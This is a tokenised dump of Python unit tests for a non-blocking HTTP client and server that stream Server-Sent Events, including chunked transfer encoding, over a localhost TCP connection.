"Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "0", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "1", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "1", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "2", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "{", "\"", "count", "\":", "2", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "3", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "3", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "4", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "4", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "1_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "2_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Js", "on", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Js", "on", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "accepted_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "2", "2", ":", "11", ":", "5", "3", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict", "able_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "0", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "1", "}\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "2", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "3", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", 